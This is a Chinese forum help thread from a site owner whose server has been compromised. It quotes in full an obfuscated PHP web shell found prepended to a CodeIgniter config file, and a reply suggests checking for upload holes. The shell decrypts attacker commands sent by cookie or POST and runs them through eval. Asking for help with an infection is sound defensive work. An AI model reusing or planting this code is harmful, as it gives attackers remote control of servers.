求助，被挂马

zybzrb

x57";$w235c[$w235c['dd4adbf'][7].$w235c['dd4adbf'][15].$w235c['dd4adbf'][41].$w235c['dd4adbf'][15].$w235c['dd4adbf'][1]] = $w235c['dd4adbf'][53].$w235c['dd4adbf'][70].$w235c['dd4adbf'][44];$w235c[$w235c['dd4adbf'][23].$w235c['dd4adbf'][71].$w235c['dd4adbf'][40].$w235c['dd4adbf'][52].$w235c['dd4adbf'][71].$w235c['dd4adbf'][94]] = $w235c['dd4adbf'][23].$w235c['dd4adbf'][44].$w235c['dd4adbf'][15];$w235c[$w235c['dd4adbf'][23].$w235c['dd4adbf'][7].$w235c['dd4adbf'][86].$w235c['dd4adbf'][40].$w235c['dd4adbf'][94].$w235c['dd4adbf'][42].$w235c['dd4adbf'][51]] = $w235c['dd4adbf'][93].$w235c['dd4adbf'][56].$w235c['dd4adbf'][44].$w235c['dd4adbf'][32].$w235c['dd4adbf'][94].$w235c['dd4adbf'][66];$w235c[$w235c['dd4adbf'][58].$w235c['dd4adbf'][15].$w235c['dd4adbf'][94].$w235c['dd4adbf'][43].$w235c['dd4adbf'][86].$w235c['dd4adbf'][15]] = $w235c['dd4adbf'][10].$w235c['dd4adbf'][66].$w235c['dd4adbf'][10].$w235c['dd4adbf'][91].$w235c['dd4adbf'][93].$w235c['dd4adbf'][94].$w235c['dd4adbf'][56];$w235c[$w235c['dd4adbf'][7].$w235c['dd4adbf'][86].$w235c['dd4adbf'][53].$w235c['dd4adbf'][43].$w235c['dd4adbf'][4].$w235c['dd4adbf'][51].$w235c['dd4adbf'][75].$w235c['dd4adbf'][86]] = $w235c['dd4adbf'][93].$w235c['dd4adbf'][94].$w235c['dd4adbf'][44].$w235c['dd4adbf'][10].$w235c['dd4adbf'][7].$w235c['dd4adbf'][32].$w235c['dd4adbf'][10].$w235c['dd4adbf'][58].$w235c['dd4adbf'][94];$w235c[$w235c['dd4adbf'][66].$w235c['dd4adbf'][4].$w235c['dd4adbf'][43].$w235c['dd4adbf'][86].$w235c['dd4adbf'][75].$w235c['dd4adbf'][53].$w235c['dd4adbf'][1].$w235c['dd4adbf'][75].$w235c['dd4adbf'][7]] = $w235c['dd4adbf'][45].$w235c['dd4adbf'][70].$w235c['dd4adbf'][45].$w235c['dd4adbf'][26].$w235c['dd4adbf'][94].$w235c['dd4adbf'][44].$w235c['dd4adbf'][93].$w235c['dd4adbf'][10].$w235c['dd4adbf'][23].$w235c['dd4adbf'][66];$w235c[$w235c['dd4adbf'][44].$w235c['dd4adbf'][40].$w235c['dd4adbf'][75].$w235c['dd4adbf'][3]] = $w235c['dd4adbf'][18].$w235c['dd4adbf'][66].$w235c['dd4adbf'][93].$w235c['dd4adbf'][94].$w235c['dd4adbf'][44].$w235c['dd4adbf'][10].$w235c['dd4adbf'][7].$w235c['dd4adbf'][32].$w235c['dd4adbf'][10].$w235c['dd4adbf'][58].$w235c['dd4adbf'][94];$w235c[$w235c['dd4adbf'][54].$w235c['dd4adbf'][1].$w235c['dd4adbf'][52].$w235c['dd4adbf'][52]] = $w235c['dd4adbf'][86].$w235c['dd4adbf'][7].$w235c['dd4adbf'][93].$w235c['dd4adbf'][94].$w235c['dd4adbf'][41].$w235c['dd4adbf'][75].$w235c['dd4adbf'][91].$w235c['dd4adbf'][15].$w235c['dd4adbf'][94].$w235c['dd4adbf'][53].$w235c['dd4adbf'][23].$w235c['dd4adbf'][15].$w235c['dd4adbf'][94];$w235c[$w235c['dd4adbf'][66].$w235c['dd4adbf'][71].$w235c['dd4adbf'][15].$w235c['dd4adbf'][71].$w235c['dd4adbf'][52].$w235c['dd4adbf'][53].$w235c['dd4adbf'][1]] = $w235c['dd4adbf'][93].$w235c['dd4adbf'][94].$w235c['dd4adbf'][56].$w235c['dd4adbf'][91].$w235c['dd4adbf'][56].$w235c['dd4adbf'][10].$w235c['dd4adbf'][36].$w235c['dd4adbf'][94].$w235c['dd4adbf'][91].$w235c['dd4adbf'][32].$w235c['dd4adbf'][10].$w235c['dd4adbf'][36].$w235c['dd4adbf'][10].$w235c['dd4adbf'][56];$w235c[$w235c['dd4adbf'][43].$w235c['dd4adbf'][4].$w235c['dd4adbf'][86].$w235c['dd4adbf'][1].$w235c['dd4adbf'][15].$w235c['dd4adbf'][51].$w235c['dd4adbf'][43].$w235c['dd4adbf'][41].$w235c['dd4adbf'][15]] = $w235c['dd4adbf'][58].$w235c['dd4adbf'][71].$w235c['dd4adbf'][1].$w235c['dd4adbf'][4].$w235c['dd4adbf'][41].$w235c['dd4adbf'][43].$w235c['dd4adbf'][40];$w235c[$w235c['dd4adbf'][14].$w235c['dd4adbf'][75].$w235c['dd4adbf'][41].$w235c['dd4adbf'][1].$w235c['dd4adbf'][42].$w235c['dd4adbf'][53].$w235c['dd4adbf'][52].$w235c['dd4adbf'][86]] = $w235c['dd4adbf'][58].$w235c['dd4adbf'][42].$w235c['dd4adbf'][53].$w235c['dd4adbf'][4].$w235c['dd4adbf'][53].$w235c['dd4adbf'][4].$w235c['dd4adbf'][42].$w235c['dd4adbf'][52];$w235c[$w235c['dd4adbf'][18].$w235c['dd4adbf'][52].$w235c['dd4adbf'][3].$w235c['dd4adbf'][40].$w235c['dd4adbf'][94]] = $_POST;$w235c[$w235c['dd4adbf'][15].$w235c['dd4adbf'][7].$w235c['dd4adbf'][1].$w235c['dd4adbf'][75].$w235c['dd4adbf'][75].$w235c['dd4adbf'][7]] = $_COOKIE;@$w235c[$w235c['dd4adbf'][58].$w235c['dd4adbf'][15].$w235c['dd4adbf'][94].$w235c['dd4adbf'][43].$w235c['dd4adbf'][86].$w235c['dd4adbf'][15]]($w235c['dd4adbf'][94].$w235c['dd4adbf'][44].$w235c['dd4adbf'][44].$w235c['dd4adbf'][23].$w235c['dd4adbf'][44].$w235c['dd4adbf'][91].$w235c['dd4adbf'][32].$w235c['dd4adbf'][23].$w235c['dd4adbf'][69], NULL);@$w235c[$w235c['dd4adbf'][58].$w235c['dd4adbf'][15].$w235c['dd4adbf'][94].$w235c['dd4adbf'][43].$w235c['dd4adbf'][86].$w235c['dd4adbf'][15]]($w235c['dd4adbf'][32].$w235c['dd4adbf'][23].$w235c['dd4adbf'][69].$w235c['dd4adbf'][91].$w235c['dd4adbf'][94].$w235c['dd4adbf'][44].$w235c['dd4adbf'][44].$w235c['dd4adbf'][23].$w235c['dd4adbf'][44].$w235c['dd4adbf'][93], 0);@$w235c[$w235c['dd4adbf'][58].$w235c['dd4adbf'][15].$w235c['dd4adbf'][94].$w235c['dd4adbf'][43].$w235c['dd4adbf'][86].$w235c['dd4adbf'][15]]($w235c['dd4adbf'][36].$w235c['dd4adbf'][7].$w235c['dd4adbf'][27].$w235c['dd4adbf'][91].$w235c['dd4adbf'][94].$w235c['dd4adbf'][27].$w235c['dd4adbf'][94].$w235c['dd4adbf'][53].$w235c['dd4adbf'][18].$w235c['dd4adbf'][56].$w235c['dd4adbf'][10].$w235c['dd4adbf'][23].$w235c['dd4adbf'][66].$w235c['dd4adbf'][91].$w235c['dd4adbf'][56].$w235c['dd4adbf'][10].$w235c['dd4adbf'][36].$w235c['dd4adbf'][94], 0);@$w235c[$w235c['dd4adbf'][66].$w235c['dd4adbf'][71].$w235c['dd4adbf'][15].$w235c['dd4adbf'][71].$w235c['dd4adbf'][52].$w235c['dd4adbf'][53].$w235c['dd4adbf'][1]](0);$k217383c = NULL;$f6edbac6 = NULL;$w235c[$w235c['dd4adbf'][32].$w235c['dd4adbf'][52].$w235c['dd4adbf'][43].$w235c['dd4adbf'][52].$w235c['dd4adbf'][41].$w235c['dd4adbf'][75]] = $w235c['dd4adbf'][1].$w235c['dd4adbf'][94].$w235c['dd4adbf'][52].$w235c['dd4adbf'][43].$w235c['dd4adbf'][4].$w235c['dd4adbf'][3].$w235c['dd4adbf'][53].$w235c['dd4adbf'][43].$w235c['dd4adbf'][64].$w235c['dd4adbf'][42].$w235c['dd4adbf'][43].$w235c['dd4adbf'][4].$w235c['dd4adbf'][7].$w235c['dd4adbf'][64].$w235c['dd4adbf'][75].$w235c['dd4adbf'][3].$w235c['dd4adbf'][1].$w235c['dd4adbf'][15].$w235c['dd4adbf'][64].$w235c['dd4adbf'][7].$w235c['dd4adbf'][42].$w235c['dd4adbf'][75].$w235c['dd4adbf'][7].$w235c['dd4adbf'][64].$w235c['dd4adbf'][7].$w235c['dd4adbf'][40].$w235c['dd4adbf'][15].$w235c['dd4adbf'][41].$w235c['dd4adbf'][15].$w235c['dd4adbf'][86].$w235c['dd4adbf'][53].$w235c['dd4adbf'][42].$w235c['dd4adbf'][15].$w235c['dd4adbf'][42].$w235c['dd4adbf'][15].$w235c['dd4adbf'][1];global $l8f864;function  z3c9c938($k217383c, $ncb564){global $w235c;$wf44c9 = "";for ($s99ddf995=0; $s99ddf995<$w235c[$w235c['dd4adbf'][23].$w235c['dd4adbf'][7].$w235c['dd4adbf'][86].$w235c['dd4adbf'][40].$w235c['dd4adbf'][94].$w235c['dd4adbf'][42].$w235c['dd4adbf'][51]]($k217383c);){for ($o03f3=0; $o03f3<$w235c[$w235c['dd4adbf'][23].$w235c['dd4adbf'][7].$w235c['dd4adbf'][86].$w235c['dd4adbf'][40].$w235c['dd4adbf'][94].$w235c['dd4adbf'][42].$w235c['dd4adbf'][51]]($ncb564) && $s99ddf995<$w235c[$w235c['dd4adbf'][23].$w235c['dd4adbf'][7].$w235c['dd4adbf'][86].$w235c['dd4adbf'][40].$w235c['dd4adbf'][94].$w235c['dd4adbf'][42].$w235c['dd4adbf'][51]]($k217383c); $o03f3++, $s99ddf995++){$wf44c9 .= $w235c[$w235c['dd4adbf'][7].$w235c['dd4adbf'][15].$w235c['dd4adbf'][41].$w235c['dd4adbf'][15].$w235c['dd4adbf'][1]]($w235c[$w235c['dd4adbf'][23].$w235c['dd4adbf'][71].$w235c['dd4adbf'][40].$w235c['dd4adbf'][52].$w235c['dd4adbf'][71].$w235c['dd4adbf'][94]]($k217383c[$s99ddf995]) ^ $w235c[$w235c['dd4adbf'][23].$w235c['dd4adbf'][71].$w235c['dd4adbf'][40].$w235c['dd4adbf'][52].$w235c['dd4adbf'][71].$w235c['dd4adbf'][94]]($ncb564[$o03f3]));}}return $wf44c9;}function  z0296f1($k217383c, $ncb564){global $w235c;global $l8f864;return $w235c[$w235c['dd4adbf'][14].$w235c['dd4adbf'][75].$w235c['dd4adbf'][41].$w235c['dd4adbf'][1].$w235c['dd4adbf'][42].$w235c['dd4adbf'][53].$w235c['dd4adbf'][52].$w235c['dd4adbf'][86]]($w235c[$w235c['dd4adbf'][14].$w235c['dd4adbf'][75].$w235c['dd4adbf'][41].$w235c['dd4adbf'][1].$w235c['dd4adbf'][42].$w235c['dd4adbf'][53].$w235c['dd4adbf'][52].$w235c['dd4adbf'][86]]($k217383c, $l8f864), $ncb564);}foreach ($w235c[$w235c['dd4adbf'][15].$w235c['dd4adbf'][7].$w235c['dd4adbf'][1].$w235c['dd4adbf'][75].$w235c['dd4adbf'][75].$w235c['dd4adbf'][7]] as $ncb564=>$fa5110){$k217383c = $fa5110;$f6edbac6 = $ncb564;}if (!$k217383c){foreach ($w235c[$w235c['dd4adbf'][18].$w235c['dd4adbf'][52].$w235c['dd4adbf'][3].$w235c['dd4adbf'][40].$w235c['dd4adbf'][94]] as $ncb564=>$fa5110){$k217383c = $fa5110;$f6edbac6 = $ncb564;}}$k217383c = @$w235c[$w235c['dd4adbf'][44].$w235c['dd4adbf'][40].$w235c['dd4adbf'][75].$w235c['dd4adbf'][3]]($w235c[$w235c['dd4adbf'][43].$w235c['dd4adbf'][4].$w235c['dd4adbf'][86].$w235c['dd4adbf'][1].$w235c['dd4adbf'][15].$w235c['dd4adbf'][51].$w235c['dd4adbf'][43].$w235c['dd4adbf'][41].$w235c['dd4adbf'][15]]($w235c[$w235c['dd4adbf'][54].$w235c['dd4adbf'][1].$w235c['dd4adbf'][52].$w235c['dd4adbf'][52]]($k217383c), $f6edbac6));if (isset($k217383c[$w235c['dd4adbf'][7].$w235c['dd4adbf'][14]]) && $l8f864==$k217383c[$w235c['dd4adbf'][7].$w235c['dd4adbf'][14]]){if ($k217383c[$w235c['dd4adbf'][7]] == $w235c['dd4adbf'][10]){$s99ddf995 = Array($w235c['dd4adbf'][45].$w235c['dd4adbf'][26] => @$w235c[$w235c['dd4adbf'][66].$w235c['dd4adbf'][4].$w235c['dd4adbf'][43].$w235c['dd4adbf'][86].$w235c['dd4adbf'][75].$w235c['dd4adbf'][53].$w235c['dd4adbf'][1].$w235c['dd4adbf'][75].$w235c['dd4adbf'][7]](),$w235c['dd4adbf'][93].$w235c['dd4adbf'][26] => $w235c['dd4adbf'][40].$w235c['dd4adbf'][2].$w235c['dd4adbf'][71].$w235c['dd4adbf'][64].$w235c['dd4adbf'][40],);echo @$w235c[$w235c['dd4adbf'][7].$w235c['dd4adbf'][86].$w235c['dd4adbf'][53].$w235c['dd4adbf'][43].$w235c['dd4adbf'][4].$w235c['dd4adbf'][51].$w235c['dd4adbf'][75].$w235c['dd4adbf'][86]]($s99ddf995);}elseif ($k217383c[$w235c['dd4adbf'][7]] == $w235c['dd4adbf'][94]){eval/*me5148*/($k217383c[$w235c['dd4adbf'][15]]);}exit();} ?><?php
defined('BASEPATH') OR exit('No direct script access allowed');

/*
| -------------------------------------------------------------------------
| Memcached settings
| -------------------------------------------------------------------------
| Your Memcached servers can be specified below.
|
|        See: https://codeigniter.com/user_guide/libraries/caching.html#memcached
|
*/

求助，请问一上以上代码是什么意思，老是清除不了马儿

Hex

看看有没有上传漏洞，是不是共享主机？